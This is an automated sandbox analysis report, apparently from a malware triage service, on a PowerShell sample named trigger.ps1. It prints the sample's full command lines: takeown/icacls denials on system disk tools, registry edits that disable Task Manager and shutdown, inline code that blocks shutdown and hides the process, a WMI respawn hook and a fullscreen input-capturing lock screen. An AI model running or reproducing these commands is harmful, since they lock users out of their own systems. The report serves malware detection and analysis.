d329826e5c6001821ffacc1272d6d5d73adffb94cad483d9a27e074f34c8e181

Analysis

max time kernel
36s
max time network
37s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
19/06/2026, 19:55

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
trigger.ps1
Size 10KB
Sample260619-ynbx2abs5n
SHA256 d329826e5c6001821ffacc1272d6d5d73adffb94cad483d9a27e074f34c8e181
MD5 121cc47e79f4d4d991862135ea8363be
SHA1 6d39940b02a06f06d31182efee5959bbdb68faeb
SHA512 2d36d5d58afce7bd06d21f9387dc813c5b2020b1952651f2cdee5208bb1d102f9088dd5f16444965b6fa904c11343a68cb1c4b010fbee93bbb59f7961cf9772d
SSDEEP 192:yI0nBYrrkwRWQCcc1KM3Ea9Cpli4ZUaeHfmAK//ZI14EMz6B:ylYrrnYXcc1KAEagpli4MSIwA
TLSH
T1CD22C4657725A166C7F3DB37D887A106EE3B502322629900B8BCD590BF78069C338FC8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution exploit

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
11	2864	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1268	powershell.exe
2864	powershell.exe
3424	powershell.exe
4916	powershell.exe
4068	powershell.exe
2720	powershell.exe
464	powershell.exe

Possible privilege escalation attempt 12 IoCs

exploit

pid	Process
3776	takeown.exe
2620	icacls.exe
4044	takeown.exe
4952	icacls.exe
3540	takeown.exe
4908	icacls.exe
5076	takeown.exe
2020	icacls.exe
4656	takeown.exe
1272	icacls.exe
4848	takeown.exe
4436	icacls.exe

Modifies file permissions 1 TTPs 12 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2020	icacls.exe
4952	icacls.exe
1272	icacls.exe
4848	takeown.exe
3776	takeown.exe
2620	icacls.exe
4908	icacls.exe
4656	takeown.exe
4436	icacls.exe
4044	takeown.exe
3540	takeown.exe
5076	takeown.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
10	discord.com
11	discord.com

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
2864	powershell.exe
2864	powershell.exe
3424	powershell.exe
464	powershell.exe
4916	powershell.exe
464	powershell.exe
3424	powershell.exe
4916	powershell.exe
1268	powershell.exe
1268	powershell.exe
4068	powershell.exe
2720	powershell.exe
4068	powershell.exe
2720	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2864	powershell.exe
Token: SeTakeOwnershipPrivilege	4656	takeown.exe
Token: SeTakeOwnershipPrivilege	4848	takeown.exe
Token: SeTakeOwnershipPrivilege	3776	takeown.exe
Token: SeTakeOwnershipPrivilege	4044	takeown.exe
Token: SeTakeOwnershipPrivilege	3540	takeown.exe
Token: SeTakeOwnershipPrivilege	5076	takeown.exe
Token: SeDebugPrivilege	3424	powershell.exe
Token: SeDebugPrivilege	464	powershell.exe
Token: SeDebugPrivilege	4916	powershell.exe
Token: SeDebugPrivilege	1268	powershell.exe
Token: SeIncreaseQuotaPrivilege	2864	powershell.exe
Token: SeSecurityPrivilege	2864	powershell.exe
Token: SeTakeOwnershipPrivilege	2864	powershell.exe
Token: SeLoadDriverPrivilege	2864	powershell.exe
Token: SeSystemProfilePrivilege	2864	powershell.exe
Token: SeSystemtimePrivilege	2864	powershell.exe
Token: SeProfSingleProcessPrivilege	2864	powershell.exe
Token: SeIncBasePriorityPrivilege	2864	powershell.exe
Token: SeCreatePagefilePrivilege	2864	powershell.exe
Token: SeBackupPrivilege	2864	powershell.exe
Token: SeRestorePrivilege	2864	powershell.exe
Token: SeShutdownPrivilege	2864	powershell.exe
Token: SeDebugPrivilege	2864	powershell.exe
Token: SeSystemEnvironmentPrivilege	2864	powershell.exe
Token: SeRemoteShutdownPrivilege	2864	powershell.exe
Token: SeUndockPrivilege	2864	powershell.exe
Token: SeManageVolumePrivilege	2864	powershell.exe
Token: 33	2864	powershell.exe
Token: 34	2864	powershell.exe
Token: 35	2864	powershell.exe
Token: 36	2864	powershell.exe
Token: SeIncreaseQuotaPrivilege	2864	powershell.exe
Token: SeSecurityPrivilege	2864	powershell.exe
Token: SeTakeOwnershipPrivilege	2864	powershell.exe
Token: SeLoadDriverPrivilege	2864	powershell.exe
Token: SeSystemProfilePrivilege	2864	powershell.exe
Token: SeSystemtimePrivilege	2864	powershell.exe
Token: SeProfSingleProcessPrivilege	2864	powershell.exe
Token: SeIncBasePriorityPrivilege	2864	powershell.exe
Token: SeCreatePagefilePrivilege	2864	powershell.exe
Token: SeBackupPrivilege	2864	powershell.exe
Token: SeRestorePrivilege	2864	powershell.exe
Token: SeShutdownPrivilege	2864	powershell.exe
Token: SeDebugPrivilege	2864	powershell.exe
Token: SeSystemEnvironmentPrivilege	2864	powershell.exe
Token: SeRemoteShutdownPrivilege	2864	powershell.exe
Token: SeUndockPrivilege	2864	powershell.exe
Token: SeManageVolumePrivilege	2864	powershell.exe
Token: 33	2864	powershell.exe
Token: 34	2864	powershell.exe
Token: 35	2864	powershell.exe
Token: 36	2864	powershell.exe
Token: SeIncreaseQuotaPrivilege	2864	powershell.exe
Token: SeSecurityPrivilege	2864	powershell.exe
Token: SeTakeOwnershipPrivilege	2864	powershell.exe
Token: SeLoadDriverPrivilege	2864	powershell.exe
Token: SeSystemProfilePrivilege	2864	powershell.exe
Token: SeSystemtimePrivilege	2864	powershell.exe
Token: SeProfSingleProcessPrivilege	2864	powershell.exe
Token: SeIncBasePriorityPrivilege	2864	powershell.exe
Token: SeCreatePagefilePrivilege	2864	powershell.exe
Token: SeBackupPrivilege	2864	powershell.exe
Token: SeRestorePrivilege	2864	powershell.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 2864 wrote to memory of 4200	2864	powershell.exe	89
PID 2864 wrote to memory of 536	2864	powershell.exe	91
PID 4200 wrote to memory of 4656	4200	cmd.exe	93
PID 2864 wrote to memory of 2536	2864	powershell.exe	94
PID 4200 wrote to memory of 1272	4200	cmd.exe	96
PID 2864 wrote to memory of 3368	2864	powershell.exe	97
PID 536 wrote to memory of 4848	536	cmd.exe	99
PID 536 wrote to memory of 4436	536	cmd.exe	100
PID 2864 wrote to memory of 3820	2864	powershell.exe	101
PID 2536 wrote to memory of 3776	2536	cmd.exe	103
PID 2864 wrote to memory of 3008	2864	powershell.exe	104
PID 2536 wrote to memory of 2620	2536	cmd.exe	106
PID 3368 wrote to memory of 4044	3368	cmd.exe	107
PID 3820 wrote to memory of 3540	3820	cmd.exe	108
PID 3368 wrote to memory of 4908	3368	cmd.exe	109
PID 3820 wrote to memory of 2020	3820	cmd.exe	110
PID 3008 wrote to memory of 5076	3008	cmd.exe	111
PID 3008 wrote to memory of 4952	3008	cmd.exe	112
PID 2864 wrote to memory of 312	2864	powershell.exe	113
PID 2864 wrote to memory of 4144	2864	powershell.exe	115
PID 2864 wrote to memory of 1888	2864	powershell.exe	117
PID 2864 wrote to memory of 2840	2864	powershell.exe	119
PID 312 wrote to memory of 1172	312	cmd.exe	121
PID 2864 wrote to memory of 3424	2864	powershell.exe	122
PID 2864 wrote to memory of 464	2864	powershell.exe	124
PID 4144 wrote to memory of 2364	4144	cmd.exe	125
PID 1888 wrote to memory of 4336	1888	cmd.exe	127
PID 2864 wrote to memory of 4916	2864	powershell.exe	128
PID 2840 wrote to memory of 4792	2840	cmd.exe	130
PID 2864 wrote to memory of 1268	2864	powershell.exe	131
PID 2864 wrote to memory of 4068	2864	powershell.exe	135
PID 2864 wrote to memory of 2720	2864	powershell.exe	137

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\trigger.ps1
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2864
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\diskpart.exe" && icacls "C:\Windows\System32\diskpart.exe" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4200
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\diskpart.exe"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:4656
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\diskpart.exe" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1272
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\format.com" && icacls "C:\Windows\System32\format.com" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:536
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\format.com"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:4848
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\format.com" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4436
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\cleanmgr.exe" && icacls "C:\Windows\System32\cleanmgr.exe" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2536
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\cleanmgr.exe"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:3776
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\cleanmgr.exe" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2620
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\defrag.exe" && icacls "C:\Windows\System32\defrag.exe" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3368
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\defrag.exe"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:4044
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\defrag.exe" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4908
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\diskmgmt.msc" && icacls "C:\Windows\System32\diskmgmt.msc" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3820
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\diskmgmt.msc"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:3540
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\diskmgmt.msc" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2020
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\compmgmt.msc" && icacls "C:\Windows\System32\compmgmt.msc" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3008
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\compmgmt.msc"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:5076
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\compmgmt.msc" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4952
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v ShutdownWithoutLogon /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:312
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v ShutdownWithoutLogon /t REG_DWORD /d 0 /f
    3⤵
    PID:1172
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisplayShutdownButton /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4144
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisplayShutdownButton /t REG_DWORD /d 0 /f
    3⤵
    PID:2364
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1888
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:4336
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2840
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
    3⤵
    PID:4792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-Type -TypeDefinition @" using System; using System.Windows.Forms; public class BlockShutdown : Form { protected override void WndProc(ref Message m) { if (m.Msg == 0x11) { m.Result = (IntPtr)0; return; } base.WndProc(ref m); } } "@ [Application]::Run(new-object BlockShutdown())
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3424
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class Hide { [DllImport("kernel32.dll")] public static extern IntPtr GetCurrentProcess(); [DllImport("kernel32.dll")] public static extern bool SetProcessInformation(IntPtr hProcess, int ProcessInformationClass, IntPtr ProcessInformation, uint ProcessInformationSize); } "@ $ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(4) [System.Runtime.InteropServices.Marshal]::WriteInt32($ptr, 0x1) [Hide]::SetProcessInformation([Hide]::GetCurrentProcess(), 0, $ptr, 4)
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:464
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command Register-WmiEvent -Query "SELECT * FROM Win32_ProcessStopTrace WHERE ProcessName='powershell.exe'" -Action { if ($Event.SourceEventArgs.NewEvent.ProcessName -eq 'powershell') { Start-Process -WindowStyle Hidden -FilePath "powershell.exe" -ArgumentList "-File "" -keep" } }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1268
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing $form = New-Object System.Windows.Forms.Form $form.FormBorderStyle = 'None' $form.WindowState = 'Maximized' $form.TopMost = $true $form.ControlBox = $false $form.BackColor = 'Black' $form.Opacity = 1.0 $form.ShowInTaskbar = $false $form.KeyPreview = $false $form.Capture = $true $form.Add_KeyDown({ $_.SuppressKeyPress = $true }) $form.Add_MouseClick({ return }) $form.Add_MouseMove({ return }) $form.Add_Resize({ return }) $form.Add_Paint({ $_.Graphics.FillRectangle([System.Drawing.Brushes]::Black, $form.ClientRectangle) }) $form.ShowDialog()
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-Type -AssemblyName System.Windows.Forms $form = New-Object System.Windows.Forms.Form $form.FormBorderStyle = 'None' $form.WindowState = 'Maximized' $form.BackColor = 'Black' $form.TopMost = $true $label = New-Object System.Windows.Forms.Label $label.Text = "Shutting down..." $label.ForeColor = 'White' $label.Font = New-Object System.Drawing.Font("Arial", 24) $label.AutoSize = $true $label.Location = New-Object System.Drawing.Point((($form.Width - $label.Width)/2), (($form.Height - $label.Height)/2)) $form.Controls.Add($label) $form.ShowDialog()
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2720

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 f84df996802a7b65b0a58ecd1960f157bdc82f817bae81409eb4184e438ed9b8
MD5 87d9fe9e5ee685ff2b66e5396fcdcb99
SHA1 0ac74edba86591b97d1a7531c3d2e659f0843b7f
SHA512 ce602ffb6822849af961afc13b972d0d344bbfaa50c5fe372cf475f424a9227f788ea64a1dfa9b96d8e01cfa2b7f0f9e695ea001ea37a6c7c235c86931d1cf3e
TLSH
T128112223F78C8920DC96163A509DAC5172B586CB81AEDF9F7FC0C210A1BF984CBA1294
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 f8d0596b05ab5069d158958ee022cdc9a898dc644f1a120305e9033cbfcb1818
MD5 16fe69c035e7ba10706df5e644247818
SHA1 4dd15a1ac5e96586ca64b1e9e5175692a98bd4ba
SHA512 ea272556bc32797c2f2767abbb11b966ae4359a652bd0fb4205cfae633d6d1b387a918720c2c0b787419d2b76952595e0b66dc8b45e2a4c41d61179cbb52e104
TLSH
T124114523F38C8920CC96163A509DAC5172B686CB81AFDF9F7FC0C210E1BF584CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_xxac5vba.cq0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xxac5vba.cq0.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/464-49-0x000001E857790000-0x000001E8578DE000-memory.dmp

Download

memory/1268-53-0x0000017845550000-0x000001784569E000-memory.dmp

Download

memory/2720-72-0x0000022A341D0000-0x0000022A3431E000-memory.dmp

Download

memory/2864-51-0x000001AC6E970000-0x000001AC6E994000-memory.dmp

Download

memory/2864-18-0x000001AC6EB50000-0x000001AC6ED5A000-memory.dmp

Download

memory/2864-15-0x000001AC6E7C0000-0x000001AC6E936000-memory.dmp

Download

memory/2864-9-0x000001AC6BE80000-0x000001AC6BEA2000-memory.dmp

Download

memory/2864-50-0x000001AC6E970000-0x000001AC6E99A000-memory.dmp

Download

memory/2864-1-0x000001AC6BEC0000-0x000001AC6BED0000-memory.dmp

Download

memory/2864-0-0x000001AC6BEC0000-0x000001AC6BED0000-memory.dmp

Download

memory/2864-74-0x000001AC6BEC0000-0x000001AC6BED0000-memory.dmp

Download

memory/2864-73-0x000001AC6BEC0000-0x000001AC6BED0000-memory.dmp

Download

memory/2864-75-0x000001AC6E140000-0x000001AC6E28E000-memory.dmp

Download

memory/3424-35-0x0000019A7BEB0000-0x0000019A7BFFE000-memory.dmp

Download

memory/4068-77-0x000001ABE2F80000-0x000001ABE30CE000-memory.dmp

Download

memory/4916-46-0x000001CE37700000-0x000001CE3784E000-memory.dmp

Download